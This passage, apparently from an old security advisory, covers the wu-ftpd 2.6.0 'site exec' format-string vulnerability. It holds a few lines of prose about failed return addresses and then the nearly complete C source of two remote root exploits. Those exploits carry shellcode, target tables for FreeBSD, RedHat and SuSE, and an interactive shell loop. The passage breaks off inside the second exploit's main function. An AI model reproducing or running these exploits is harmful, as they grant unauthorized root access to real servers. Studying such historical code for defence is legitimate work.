	    installations.   The problem  occurs when  you attempt  to execute

	    the  exploit  on  a  remote  machine  and  are  left with a telnet

	    session  to  PORT  21  of  the  vulnerable  system,  stuck to your

	    typical HELP commands. This  is because the exploit  is attempting

	    to  utilize  the  WRONG  [stack  retr  addr] of the vulnerable ftp

	    daemon.   The  reason  being  it  is  not  overflowing  the stack,

	    leaving you with this telnet session.

	

	    Below is another exploit for FreeBSD only:

	
	    /*

	     *  WU-hooooooooo ! ;)

	     *  remote root exploit for FreeBSD Wu-ftpd 2.6.0 !

	     *  Written by glitch of AdG.

	     *  Shellcode by Myt of AdG

	     *  This is mega private !

	     *  for Action Direct Group members only !

	     *  Don\'t distribute !

	     *

	     *  Greetings to tf8, adm.

	     *

	     */

	

	    #include <stdio.h>

	    #include <string.h>

	    #include <stdlib.h>

	    #include <sys/types.h>

	    #include <sys/socket.h>

	    #include <sys/time.h>

	    #include <errno.h>

	    #include <netinet/in.h>

	    #include <unistd.h>

	    #include <netdb.h>

	    #include <signal.h>

	

	    /*

	     * Warning ! You may increase DELAY value

	     * for slow connections !

	     *

	     */

	

	    #define DELAY 5

	

	    char bsd_shellcode[] =

	       \"x8Bx74x24xFCx31xC9xB1x15x01xCExB1x71xB0xEF\"

	       \"x30x06x8Dx76x01xE2xF9xDEx26xDEx2FxBEx5FxF8\"

	       \"xBFx22x6Fx5FxB5xEBxB4xBExBFx22x6Fx62xB9x14\"

	       \"x87x75xEDxEFxEFxBDx5Fx67xBFx22x6Fx62xB9x11\"

	       \"xBExBDx5FxEAxBFx22x6Fx66x2Cx62xB9x14xBDx5F\"

	       \"xD2xBFx22x6FxBCx5FxE2xBFx22x6Fx5Cx11x62xB9\"

	       \"x12x5FxE3xBDxBFx22x6Fx11x24x9Ax1Cx62xB9x11\"

	       \"xBDx5FxD2xBFx22x6Fx62x99x12x66xA1xEBx62xB9\"

	       \"x17x66xF9xB9xB9xBDx5FxD4xBFx22x6FxC0x8Dx86\"

	       \"x81xC0x9Cx87xEFxC1xC1xEF\";

	

	    struct sys_type

	    {

	       char *sysname;

	       int penum;

	       int penum2;

	       int penum3;

	       int offset; /* Dword offset from scanned PTRkeeper to RetAddres keeper */

	       char *shellcode;

	    };

	

	    struct sys_type target[] =

	    {

	       {\"FreeBSD 3.3-STABLE with Wu-ftpd 2.6.0(1) from PORTS\",47,37,52,355,bsd_shellcode},

	       {\"FreeBSD 3.4-RELEASE/STABLE with Wu-ftpd 2.6.0(1) from PORTS\",46,36,51,354,bsd_shellcode},

	    /*

	       {\"FreeBSD 4.0-RELEASE with Wu-ftpd 2.6.0(1) from PORTS\",32,48,44,355,bsd_shellcode},

	     */

	       {NULL,0,0,0,0,NULL}

	    };

	

	    int sock;    /* Socket Descriptor */

	    int sysnumber = 0;

	    char tosend[1024]; /* send buffer */

	    char torecv[4096]; /* receive buffer */

	

	    int max(int,int);

	    char *scan_ptrretaddr(int,int);

	    char *scan_retaddr(int);

	    void receive(void);

	    void ftp_login(char *,char *);

	    void store_value(int,int,int);

	    void shell(void);

	    void site_exec(char *);

	    void usage(char *);

	

	    int main (argc,argv)

	       int argc;

	       char *argv[];

	    {

	       int port = 21;

	       int main_index = 0;

	

	       char *ptrretaddr;

	       char *retaddr;

	

	       struct sockaddr_in sin;

	       struct hostent *host;

	

	       while(target[sysnumber].sysname != NULL)

	          sysnumber++;

	

	       if (argc < 3)

	          usage(argv[0]);

	       main_index = atoi(argv[2]);

	       if (main_index < 0 || main_index > sysnumber-1)

	       {

	          printf(\"Wrong system identifier!n\");

	          usage(argv[0]);

	       }

	       printf (\"Exploiting: %sn\",target[main_index].sysname);

	       if ((sock=socket(AF_INET,SOCK_STREAM,0)) < 0)

	       {

	          perror(\"Socket error\");

	          exit(-1);

	       }

	

	       if(argv[3])

	          port=atoi(argv[3]);

	

	       bzero((char*)&sin,sizeof(sin));

	       sin.sin_family=AF_INET;

	       sin.sin_port=htons(port);

	       host=gethostbyname(argv[1]);

	

	       if (host == 0)

	       {

	          printf(\"Cannot resolve %sn\",argv[1]);

	          exit(-1);

	       }

	       memcpy(&sin.sin_addr,host->h_addr,host->h_length);

	       if ((connect(sock, (struct sockaddr *)&sin, sizeof(sin))) < 0)

	       {

	          perror(\"Connect error\");

	          exit(-1);

	       }

	       printf(\"nCONNECTED!nn\");

	

	       sleep(DELAY);

	       receive();

	       fputs(torecv,stdout);

	       ftp_login(\"ftp\",target[main_index].shellcode);

	       ptrretaddr = scan_ptrretaddr(target[main_index].penum,target[main_index].offset);

	       retaddr = scan_retaddr(target[main_index].penum2);

	       store_value(target[main_index].penum,((int)ptrretaddr & 65535),1);

	       sleep(DELAY);receive();

	       store_value(target[main_index].penum3,(int)retaddr,2);

	       printf(\"33[32mAdG rox ! :)33[37mn\");

	       write(sock,\"uname -a;idn\",strlen(\"uname -a;idn\"));

	       signal(SIGINT,SIG_IGN);

	       shell();

	    }

	

	    int max(int x,int y)

	    {

	       if (x > y)

	          return(x);

	       return(y);

	    }

	    void receive(void)

	    {

	       bzero(torecv,sizeof(torecv));

	       if(read(sock,torecv,sizeof(torecv)) == 0)

	       {

	          printf(\"Connection closed by foreign host!n\");

	          exit(-1);

	       }

	    }

	    void shell(void)

	    {

	       fd_set rset;

	       int nfds,nread;

	       bzero(torecv,sizeof(torecv));

	       for (;;)

	       {

	          nfds=max(fileno(stdin),sock)+1;

	          FD_ZERO(&rset);

	          FD_SET(fileno(stdin),&rset);

	          FD_SET(sock,&rset);

	          select(nfds,&rset,NULL,NULL,NULL);

	          if(FD_ISSET(fileno(stdin),&rset))

	          {

	             bzero(tosend,sizeof(tosend));

	             fgets(tosend,sizeof(tosend)-2,stdin);

	             write(sock,tosend,strlen(tosend));

	          }

	          if(FD_ISSET(sock,&rset))

	          {

	             bzero(torecv,sizeof(torecv));

	             if((nread=read(sock,torecv,sizeof(torecv))) == 0)

	             {

	                printf(\"nEOFn\");

	                exit(0);

	             }

	             if (nread < 0)

	             {

	                perror(\"Read error\");

	                exit(-1);

	             }

	             fputs(torecv,stdout);

	          }

	       }

	    }

	    void ftp_login(char *username, char *password)

	    {

	       sprintf(tosend,\"USER %sn\",username);

	       printf(\"33[32m%s33[37m\",tosend);

	       write(sock,tosend,strlen(tosend));

	       sleep(DELAY);

	       receive();

	       fputs(torecv,stdout);

	       sprintf(tosend,\"PASS %sn\",password);

	       printf(\"33[32mPASS <shellcode>33[37mn\");

	       write(sock,tosend,strlen(tosend));

	       sleep(DELAY);

	       receive();

	       fputs(torecv,stdout);

	    }

	    void site_exec(char *string)

	    {

	       char buf[1034];

	       bzero(buf,sizeof(buf));

	       snprintf(buf,sizeof(buf),\"site exec %sn\",string);

	       write(sock,buf,strlen(buf));

	    }

	    char *scan_ptrretaddr(int penum,int offset)

	    {

	       int a;

	       char *buf;

	       char *ptr, *retvalue;

	       printf(\"Scanning remote server\'s stack:n\");

	       bzero(tosend,sizeof(tosend));

	       for (a = 0,buf = tosend; a < penum; a++,buf+= 2)

	       {

	                sprintf(buf,\"%s\",\"%p:%d\");

	       }

	       site_exec(tosend);

	       sleep(DELAY);

	       receive();

	

	       buf = strstr(torecv,\":\")+1;

	       ptr =(char*)atoi(buf);

	       printf(\"33[32mScanned PTRPTRRETADDR is 33[31m0x%xn33[37m\",ptr);

	       retvalue = ptr - offset*4;

	       printf(\"33[32mCalculated PTRRETADDR is 33[31m0x%xn33[37m\",retvalue);

	       return retvalue;

	    }

	    char *scan_retaddr(int penum)

	    {

	       int a;

	       char *buf;

	       char *ptr, *retvalue;

	       printf(\"Detecting return address:n\");

	       bzero(tosend,sizeof(tosend));

	       for (a = 0,buf = tosend; a < penum; a++,buf+= 2)

	       {

	                sprintf(buf,\"%s\",\"%p:%d\");

	       }

	       site_exec(tosend);sleep(DELAY);receive();

	       buf = strstr(torecv,\":\")+1;

	       ptr =(char*)atoi(buf);

	       printf(\"33[32mScanned TEMPADDR is 33[31m0x%xn33[37m\",ptr);

	       for (a = 0,buf = tosend; a < penum; a++,buf+= 2)

	       {

	                sprintf(buf,\"%s\",\"%p:%s\");

	       }

	       site_exec(tosend);sleep(DELAY);receive();

	       retvalue = ptr;

	       buf = strstr(torecv,\":\")+1;

	       ptr = strstr(torecv,\"/\")+1;

	       retvalue += ptr - buf;

	       printf(\"33[32mCalculated RETADDR is 33[31m0x%xn33[37m\",retvalue);

	       return retvalue;

	    }

	    void store_value(int penum,int value,int type)

	    {

	       int a;

	       int offset;

	       char *buf;

	       char *ptr1, *ptr2;

	       printf(\"Storing value 0x%xn\",value);

	       bzero(tosend,sizeof(tosend));

	       buf = tosend;

	       sprintf(buf,\"%%.10d\"); /* WARNING 10 is a MAGIC NUM! */

	       for (a = 0,buf = tosend + strlen(tosend); a < penum - 1; a++,buf+= 2)

	       {

	                sprintf(buf,\"%s\",\"%p:\");

	       }

	       site_exec(tosend);

	       sleep(DELAY);

	       receive();

	       ptr1 = strstr(torecv,\"-\")+1;

	       ptr2 = strstr(torecv,\":\");

	       offset = ptr2 - ptr1;

	       printf(\"offset is 0x%xn\",offset);

	       bzero(tosend,sizeof(tosend));

	       buf = tosend;

	       sprintf(buf,\"%%.%dx64\",value - offset + 10); /* WARNING 10 is a MAGIC NUM! */

	       for (a = 0,buf = tosend + strlen(tosend); a < penum - 1; a++,buf+= 2)

	       {

	          if(type == 1) sprintf(buf,\"%s\",\"%p%hn\");

	          if(type == 2) sprintf(buf,\"%s\",\"%p%n\");

	       }

	       site_exec(tosend);

	    }

	    void usage(char *arg)

	    {

	       int i;

	       printf(\"Usage: %s <hostname> <systype> [port]n\",arg);

	       printf(\" known systypes: n\");

	       for(i=0;i < sysnumber;i++)

	          printf(\"  %2d  - %sn\",i,target[i].sysname);

	       exit(-1);

	    }

	

	    The following is for the mass amounts of people out there who were

	    not  able  to  hit  the  correct  retr_addr  with  the  previously

	    disseminated exploits.  The  previous problems were caused  by the

	    other exploits  not specifying  the correct  pointer to  the shell

	    code, ultimately leaving you with  a telnet session to PORT  21 of

	    the vulnerable machine.   While working with  some people over  at

	    MIT, it was discovered that  some machines were hit, while  others

	    with the same configuration weren\'t. This is yet to be understood.

	    Following  as  you  will  notice  is  TF8\'s original distribution,

	    slightly  modified.   Notice  the  new  AddrRetAddr  field.  If s0

	    doesn\'t work, it is reccomended trying the other OS  distributions

	    in the list.

	
	    #include <stdio.h>

	    #include <string.h>

	    #include <stdlib.h>

	    #include <sys/types.h>

	    #include <sys/socket.h>

	    #include <sys/time.h>

	    #include <netdb.h>

	    #include <unistd.h>

	    #include <netinet/in.h>

	    #include <arpa/inet.h>

	    #include <signal.h>

	    #include <errno.h>

	

	    #ifdef __linux

	    #include <getopt.h>

	    #endif

	

	    #define MAKE_STR_FROM_RET(x) ((x)&0xff),(((x)&0xff00)>>8),(((x)&0xff0000)>>16),(((x)&0xff000000)>>24)

	    #define GREEN \"33[32m\"

	    #define RED \"33[31m\"

	    #define NORM \"33[0m\"

	

	    char infin_loop[]= /* for testing purposes */

	     \"xEBxFE\";

	

	    char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */

	     \"x31xc0x50x50x50xb0x7excdx80x31xdbx31xc0x43\"

	     \"x43x53x4bx53x53xb0x5axcdx80xebx77x5ex31xc0\"

	     \"x8dx5ex01x88x46x04x66x68xffxffx01x53x53xb0\"

	     \"x88xcdx80x31xc0x8dx5ex01x53x53xb0x3dxcdx80\"

	     \"x31xc0x31xdbx8dx5ex08x89x43x02x31xc9xfexc9\"

	     \"x31xc0x8dx5ex08x53x53xb0x0cxcdx80xfexc9x75\"

	     \"xf1x31xc0x88x46x09x8dx5ex08x53x53xb0x3dxcd\"

	     \"x80xfex0exb0x30xfexc8x88x46x04x31xc0x88x46\"

	     \"x07x89x76x08x89x46x0cx89xf3x8dx4ex08x8dx56\"

	     \"x0cx52x51x53x53xb0x3bxcdx80x31xc0x31xdbx53\"

	     \"x53xb0x01xcdx80xe8x84xffxffxffxffxffxffx30\"

	     \"x62x69x6ex30x73x68x31x2ex2ex31x31x76x65x6e\"

	     \"x67x6cx69x6e\";

	

	    char bsd_code_d[]= /* you should call it directly (no jump/call)*/

	     \"xEBxFExEBx02xEBx05xE8xF9xFFxFFxFFx5C\"

	     \"x8Bx74x24xFCx31xC9xB1x15x01xCExB1x71xB0xEF\"

	     \"x30x06x8Dx76x01xE2xF9xDEx26xDEx2FxBEx5FxF8\"

	     \"xBFx22x6Fx5FxB5xEBxB4xBExBFx22x6Fx62xB9x14\"

	     \"x87x75xEDxEFxEFxBDx5Fx67xBFx22x6Fx62xB9x11\"

	     \"xBExBDx5FxEAxBFx22x6Fx66x2Cx62xB9x14xBDx5F\"

	     \"xD2xBFx22x6FxBCx5FxE2xBFx22x6Fx5Cx11x62xB9\"

	     \"x12x5FxE3xBDxBFx22x6Fx11x24x9Ax1Cx62xB9x11\"

	     \"xBDx5FxD2xBFx22x6Fx62x99x12x66xA1xEBx62xB9\"

	     \"x17x66xF9xB9xB9xBDx5FxD4xBFx22x6FxC0x8Dx86\"

	     \"x81xC0x9Cx87xEFxC1xC1xEF\";

	

	    char linuxcode[]= /* Lam3rZ chroot() code */

	     \"x31xc0x31xdbx31xc9xb0x46xcdx80x31xc0x31xdb\"

	     \"x43x89xd9x41xb0x3fxcdx80xebx6bx5ex31xc0x31\"

	     \"xc9x8dx5ex01x88x46x04x66xb9xffxffx01xb0x27\"

	     \"xcdx80x31xc0x8dx5ex01xb0x3dxcdx80x31xc0x31\"

	     \"xdbx8dx5ex08x89x43x02x31xc9xfexc9x31xc0x8d\"

	     \"x5ex08xb0x0cxcdx80xfexc9x75xf3x31xc0x88x46\"

	     \"x09x8dx5ex08xb0x3dxcdx80xfex0exb0x30xfexc8\"

	     \"x88x46x04x31xc0x88x46x07x89x76x08x89x46x0c\"

	     \"x89xf3x8dx4ex08x8dx56x0cxb0x0bxcdx80x31xc0\"

	     \"x31xdbxb0x01xcdx80xe8x90xffxffxffxffxffxff\"

	     \"x30x62x69x6ex30x73x68x31x2ex2ex31x31\";

	

	    #define MAX_FAILED      4

	    #define MAX_MAGIC       100

	    static int magic[MAX_MAGIC],magic_d[MAX_MAGIC];

	    static char *magic_str=NULL;

	    int before_len=0;

	    char *target=NULL,*username=\"ftp\",*password=NULL;

	    struct targets getit;

	

	    struct targets {

		    int def;

		    char *os_descr, *shellcode;

		    int delay;

		    u_long pass_addr, addr_ret_addr;

		    int magic[MAX_MAGIC], magic_d[MAX_MAGIC],islinux;

	    };

	

	    struct targets targ[]={

		    {0,\"RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm\",linuxcode,2,0x8075b00-700,0xbfffb028,{0x87,3,1,2},{1,2,1,4},1},

		    {0,\"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm\",linuxcode,2,0x8075b00-700,0xbfffb038,{0x87,3,1,2},{1,2,1,4},1},

		    {0,\"SuSe 6.3 with wuftpd 2.6.0(1) from rpm\",linuxcode,2,0x8076cb0-400,0xbfffb018,{0x87,3,1,2},{1,2,1,4},1},

		    {0,\"SuSe 6.4 with wuftpd 2.6.0(1) from rpm\",linuxcode,2,0x8076920-400,0xbfffafec,{0x88,3,1,2},{1,2,1,4},1},

		    {0,\"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)\",linuxcode,2,0x8075b00-700,0xbfffb070,{0x87,3,1,2},{1,2,1,4},1},

	

		    {0,\"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports\",bsdcode,10,0x80bb474-100, 0xbfbfc164,{0x3b,2,4,1,0x44,2,1,2},{1,2,1,2,1,2,1,4},0},

		    {1,\"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages\",bsdcode,2,0x806d5b0-500,0xbfbfc6bc, {0x84,1,2,1,2}, {1,3,2,1,4},0},

		    {0,\"FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports\",bsdcode,2,0x80a4dec-400,0xbfbfc624, {0x3B,2,1,0xe,0x40,1,2,1,2},{1,2,1,2,1,3,2,1,4},0},

		    {0,\"FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages\",infin_loop,2,0x80706f0,0xbfbfe798,{0x88,2,1,2},{1,2,1,4},0},

		    {0,NULL,NULL,0,0,0,{0},{0},0}

	    };

	

	    void usage(char*zu,int q){

	    int i, n, padding;

	    fprintf(stderr,\"Usage: %s -t <target> [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]n\"

	    \"         [-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]n\"

	    \"target    : host with any wuftpdnuser      : anonymous usern\"

	    \"dir       : if not anonymous user, you need to have writable directoryn\"

	    \"magic_str : magic string (see exploit description)n-g        : enables magic string diggingn\"

	    \"-x        : enables test modenpass_addr : pointer to setproctitle argumentn\"

	    \"ret_addr  : this is pointer to shellcodensystypes: n\",zu);

	     for(i=0;targ[i].os_descr!=NULL;i++){

	      padding=0;

	      fprintf(stderr,\"%s%2d - %sn\",targ[i].def?\"*\":\" \",i,targ[i].os_descr);

	      if(q>1){

	       fprintf(stderr,\"     Magic ID: [\");

	       for(n=0;targ[i].magic[n]!=0;n++){

	        if(targ[i].magic_d[n]==4)

	         padding=targ[i].magic[n];

	        fprintf(stderr,\"%02X,%02X\",targ[i].magic[n],targ[i].magic_d[n]);

	        if(targ[i].magic[n+1]!=0)

	         fprintf(stderr,\":\");

	       }

	       fprintf(stderr,\"] Padding: %dn\",padding);

	       fflush(stderr);

	      }

	     }

	     exit(1);

	    }

	

	    int connect_to_server(char*host){

	     struct hostent *hp;

	     struct sockaddr_in cl;

	     int sock;

	

	     if(host==NULL||*host==(char)0){

	      fprintf(stderr,\"Invalid hostnamen\");

	      exit(1);

	     }

	     if((cl.sin_addr.s_addr=inet_addr(host))==-1) {

	      if((hp=gethostbyname(host))==NULL) {

	       fprintf(stderr,\"Cannot resolve %sn\",host);

	       exit(1);

	      }

	      memcpy((char*)&cl.sin_addr,(char*)hp->h_addr,sizeof(cl.sin_addr));

	     }

	     if((sock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))==-1){

	      fprintf(stderr,\"Error creating socket: %sn\",strerror(errno));

	      exit(1);

	     }

	     cl.sin_family=PF_INET;

	     cl.sin_port=htons(21);

	     if(connect(sock,(struct sockaddr*)&cl,sizeof(cl))==-1){

	      fprintf(stderr,\"Cannot connect to %s: %sn\",host,strerror(errno));

	      exit(1);

	     }

	     return sock;

	    }

	

	    int ftp_recv(int sock,char*buf,int buf_size,int disc){

	     int n=0;

	     char q;

	

	     if(disc) while((n=recv(sock,&q,1,0))==1&&q!=\'n\');

	     else {

	      (void)bzero(buf,buf_size);

	      n=recv(sock,buf,buf_size,0);

	      if(n<0){

	       fprintf(stderr,\"ftp_recv: recv failedn\");

	       exit(1);

	      }

	      buf[n]=0;

	     }

	     return n;

	    }

	    int ftp_send(int sock,char*what,int size,int f,char*ans,int ans_size){

	     int n;

	     n=send(sock,what,size,0);

	     if(n!=size){

	      fprintf(stderr,\"ftp_send: failed to send. expected %d, sent %dn\", size,n);

	      shutdown(sock,2);

	      close(sock);

	      exit(1);

	     }

	     if(f)

	      return ftp_recv(sock,ans,ans_size,0);

	     return 0;

	    }

	

	    int ftp_siteexec(int sock,char*buff,int buff_len,int q,char*ans,int ans_len){

	     ftp_send(sock,buff,buff_len,q,ans,ans_len);

	     if(strncmp(ans,\"200-\",4)==0)

	       ftp_recv(sock,NULL,0,1);

	     else

	      ftp_recv(sock,ans,ans_len,0);

	

	     if(strncmp(ans,\"200-\",4)){

	      fprintf(stderr,\"Cannot find site exec response stringn\");

	      exit(1);

	     }

	     return 0;

	    }

	

	    void ftp_login(int sock,char*u_name,char*u_pass)

	    {

	     char buff[2048];

	      printf(\"loggin into system..n\");

	      snprintf(buff,2047,\"USER %srn\", u_name);

	      ftp_send(sock, buff,strlen(buff),1,buff,2047);

	      printf(GREEN\"USER %sn\"NORM\"%s\",u_name,buff);

	      snprintf(buff,2047,\"PASS %srn\",u_pass);

	      printf(GREEN\"PASS %sn\"NORM,*u_pass==\'x90\'?\"<shellcode>\":u_pass);

	      ftp_send(sock,buff,strlen(buff),1,buff,2047);

	      while(strstr(buff,\"230 \")==NULL){

	       (void)bzero(buff,2048);

	       ftp_recv(sock,buff,2048,0);

	      }

	      printf(\"%s\",buff);

	      return;

	    }

	

	    void ftp_mkchdir(int sock,char*cd,char*new)

	    {

	     char buff[2048];

	

	     sprintf(buff,\"CWD %srn\",cd);

	     printf(GREEN\"%s\"NORM,buff);

	     ftp_send(sock,buff,strlen(buff),1,buff,2047);

	     printf(\"%s\",buff);

	     sprintf(buff,\"MKD %srn\",new);

	     ftp_send(sock,buff,strlen(buff),1,buff,2047);

	     printf(GREEN\"MKD <shellcode>\"NORM\"n%s\",buff);

	     sprintf(buff,\"CWD %srn\",new);

	     ftp_send(sock,buff,strlen(buff),1,buff,2047);

	     printf(GREEN\"CWD <shellcode>\"NORM\"n%s\",buff);

	     return;

	    }

	    void process_possibly_rooted(int sock)

	    {

	     fd_set 	fd_read;

	     char buff[1024], *cmd=getit.islinux?\"/bin/uname -a;/usr/bin/id;n\":\"/usr/bin/uname -a;/usr/bin/id;n\";

	     int n;

	

	     FD_ZERO(&fd_read);

	     FD_SET(sock, &fd_read);

	     FD_SET(0, &fd_read);

	     send(sock, cmd, strlen(cmd), 0);

	     while(1) {

	      FD_SET(sock,&fd_read);

	      FD_SET(0,&fd_read);

	      if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;

	      if( FD_ISSET(sock, &fd_read) ) {

	       if((n=recv(sock,buff,sizeof(buff),0))<0){

	         fprintf(stderr, \"EOFn\");

	         exit(2);

	       }

	       if(write(1,buff,n)<0)break;

	      }

	      if ( FD_ISSET(0, &fd_read) ) {

	        if((n=read(0,buff,sizeof(buff)))<0){

	          fprintf(stderr,\"EOFn\");

	          exit(2);

	        }

	        if(send(sock,buff,n,0)<0) break;

	      }

	      usleep(10);

	     }

	     fprintf(stderr,\"Connection aborted, select failed()n\");

	     exit(0);

	    }

	

	    int magic_check_f(int sock, char *str) {

	     char q[2048], ans[2048];

	

	     snprintf(q, 2048, \"site exec %s%srn\", str, \"%.f\");

	     if( strstr( q, \"rn\") == NULL) {

	      fprintf(stderr,\"Line TOO big..n\");

	      exit(-1);

	     }

	     ftp_siteexec(sock, q, strlen(q), 1, ans, 2048);

	     if( before_len+10 < strlen(&ans[3]) ) return 0;

	     before_len=strlen(&ans[3]);

	     (void)strcat(str,\"%.f\");

	     return 1;

	    }

	    int magic_check_o(int sock, char *str) {

	     char q[2048], ans[2048];

	      snprintf(q, 2048, \"site exec %s%srn\", str, \"%c\");

	      if( strstr( q, \"rn\") == NULL) {

	       fprintf(stderr,\"Line TOO big..n\");

	       exit(-1);

	      }

	     ftp_siteexec( sock, q, strlen(q), 1, ans, 2048);

	     if( before_len== strlen(&ans[3]) ) {

	      before_len+=1;

	      (void)strcat(str, \"%d\");

	      return 3;

	     }

	     before_len=strlen(&ans[3]);

	     (void)strcat(str,\"%c\");

	     return 2;

	    }

	

	    int magic_check_ok( int sock, char *str)

	    {

	     char q[2048], ans[2048];

	     int i ,n=1, f, padding=0;

	

	     snprintf(q, 2048,\"site exec aaaaaaaa%s%srn\", str, \"%p%p\");

	     if ( strstr(q, \"rn\" ) == NULL) {

	      fprintf(stderr, \"Line too longn\");

	      exit(-1);

	     }

	     (void)bzero(ans, 2048);

	     ftp_siteexec(sock, q, strlen(q), 1, ans, 2047);

	     if(strstr(ans,\"0x61616161\")==NULL)

	       return 0;

	     for(i =0; i < MAX_MAGIC && magic[i]; i++);

	     magic_d[i]=4;

	     while(n){

	      for(f=0; f< 2; f++) {

	       snprintf(q, 2048,\"site exec %.*saaaa%s%srn\", padding, \"xxxx\", str, f?\"%p%p\":\"%p\");

	       (void)bzero(ans, 2048);

	       ftp_siteexec(sock, q, strlen(q), 1, ans, 2047);

	       if( strstr(ans, \"0x61616161\")!=NULL) {

	        if (f==0) {

	         magic[i]=padding;

	         return 1;

	        } else if( f==1) {

	         strcat(str,\"%p\");

	         magic[i]=padding;

	         return 1;

	        }

	       }

	      }

	      if(padding > 4) {

	       fprintf(stderr,\"Cannot calculate padding..n\");

	       exit(1);

	      }

	      padding++;

	     }

	     return 1;

	    }

	

	

	    int magic_digger(int sock)

	    {

	     int get_out=1,where=0,all_failed=MAX_FAILED*2,f=0,o=0;

	

	     if(magic_str==NULL){

	      if((magic_str=(char*)malloc(4092))==NULL){

	       perror(\"malloc\");

	       exit(errno);

	      }

	     }

	     (void)bzero(magic_str, 4092);

	     where=0;

	     while(get_out) {

	      int q;

	      if( where >= MAX_MAGIC-1 || all_failed <= 0 )

	        return -1;

	      if( magic_check_f(sock, magic_str) ) {

	       o=0,f++;

	        if(f==1){

	         if(!magic[where])

	          magic[where]=1;

	         else

	          magic[++where]+=1;

	        magic_d[where]=1;

	        } else

	         magic[where]+=1;

	       all_failed=MAX_FAILED*2;

	       printf(\"%s\", \"%.f\"); fflush(stdout);

	       goto verify;

	      }

	      all_failed--;

	      if((q=magic_check_o(sock,magic_str))){

	       f=0,o++;

	        if(o==1){

	         if(!magic[where])

	          magic[0]=1;

	         else

	          magic[++where]+=1;

	        magic_d[where]=q;

	       } else {

	        if(magic_d[where]==q)

	         magic[where]+=1;

	        else {

	         magic[++where]=1;

	         magic_d[where]=q;

	        }

	       }

	       all_failed=MAX_FAILED*2;

	       printf(\"%s\", q==2?\"%c\":\"%d\");

	       fflush(stdout);

	       goto verify;

	      }

	      all_failed--;

	      continue;

	      verify:

	      if(magic_check_ok(sock,magic_str)){

	       putchar(\'n\');

	       return 0;

	      }

	     }

	     return 0;

	    }

	

	    int main(int argc, char *argv[]){

		    char *buff, *buff_p, *buff_p2, c, shellcode[500],*dir,*passwd=shellcode;

		    int i, sock, num=-2, padding=-1, gm=0, testmode=0,mtype=0,bla=0,offset=0;

		    u_long ret_addr=0, pass_addr=0;

		    for(i=0;targ[i].os_descr!=NULL;i++);

		    while((c=getopt(argc,argv,\"t:l:m:o:s:r:p:M:P:xghH?\"))!=EOF){

		    switch(c) {

		     case \'t\': target=optarg;break;

		     case \'l\':

		       username=optarg;

		       passwd=strchr(optarg,\'/\');

		       if(passwd==NULL)

		        usage(argv[0],0);

		       *passwd++=(char)0;

		       break;

		     case \'x\': testmode=1; break;

		     case \'o\': offset=atoi(optarg);break;

		     case \'p\': pass_addr=strtoul(optarg, &optarg,16); break;

		     case \'g\': gm=1; break;

		     case \'M\': dir=optarg;mtype=1;break;

		     case \'m\':

		       {

		        int where=0;

		        if(!*optarg) {

		          fprintf(stderr,\"-m requires argument, try -h for helpn\");

		          exit(1);

		        }

		        while(1) {

		          magic[where]=strtoul(optarg,&optarg,16);

		          optarg=strchr(optarg,\',\');

		          if(optarg==NULL){

		            printf(\"comma missingn\");

			    exit(1);

		          }

		          optarg++;

		          magic_d[where++]=strtoul(optarg,&optarg,16);

		          if(strchr(optarg,\':\')==NULL){

		           magic[where]=magic_d[where]=0;

		           break;

		          }

		          optarg=strchr(optarg,\':\');

		          optarg++;

		        }

		       }

		       break;

		      case \'s\':

		        num=atoi(optarg);

		        if(num>i) {

		         fprintf(stderr,\"systype too big, try -h for helpn\");

		         exit(1);

		        }

		        break;

		      case \'r\':

		        ret_addr=strtoul(optarg,&optarg,16);

		        break;

		      case \'P\':

		        padding=atoi(optarg);

		        break;

		      case \'H\':

		         bla=2;

		      default: usage(argv[0],bla);break;

		     }

	            }

		    if(target==NULL){

		      fprintf(stderr,\"No target specified, try -h for helpn\");

		      exit(1);

		    }

		    if(num==-1||num==-2) {

		      for(i=0;!targ[i].def;i++);

		      num=i;

		    }

		    (void)memcpy((void*)&getit,(void*)&targ[num],sizeof(struct targets));

	

		    if(magic[1]!=0) {

		     memcpy((void*)getit.magic,magic,sizeof(magic));

		     memcpy((void*)getit.magic_d,magic_d,sizeof(magic));

		    }

	

		    if(ret_addr)getit.addr_ret_addr=ret_addr;

		    if(pass_addr)getit.pass_addr=pass_addr;

	

		    getit.addr_ret_addr+=(offset*4);

	

	 	    sock=connect_to_server(target);

		    memset(shellcode, \'x90\', sizeof(shellcode));

		    shellcode[sizeof(shellcode)-1]=(char)0;

		    if(!mtype){

		     memcpy((void*)&shellcode[sizeof(shellcode)-strlen(getit.shellcode)-1],(void*)getit.shellcode, strlen(getit.shellcode)+1);

		     shellcode[sizeof(shellcode)-1]=(char)0;

		    }else{

		     memcpy((void*)&shellcode[250-strlen(getit.shellcode)-1],(void*)getit.shellcode,strlen(getit.shellcode));

		     shellcode[250-1]=(char)0;

		    }

		    printf(\"Target: %s (%s/%s): %sn\",target,username,*passwd==\'x90\'?\"<shellcode>\":passwd,getit.os_descr);

		    printf(\"Return Address: 0x%08lx, AddrRetAddr: 0x%08lx, Shellcode: %dnn\",getit.pass_addr,getit.addr_ret_addr,strlen(getit.shellcode));

	

		    buff=(char *)malloc(1024);

		    bzero(buff,1024);

	

		    (void)ftp_recv(sock,NULL,0,1);

	

		    (void)ftp_login(sock,username,passwd);

	

		    if(gm||(magic_str==NULL&&getit.magic[0]==0)){

		     printf(\"STEP 2A: Generating magic string: \");

		     fflush(stdout);

		     magic_digger(sock);

		     memcpy((void *)getit.magic,(void*)magic,sizeof(magic));

		     memcpy((void*)getit.magic_d,(void*)magic_d,sizeof(magic_d));

		     printf(\"STEP 2B: MAGIC STRING: [\");

		    } else {

		      printf(\"STEP 2 : Skipping, magic number already exists: [\");

		    }

		    for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++){

		     printf(\"%02X,%02X\",getit.magic[i],getit.magic_d[i]);

		     if(getit.magic[i+1]!=0)

		         putchar(\':\');

		    }
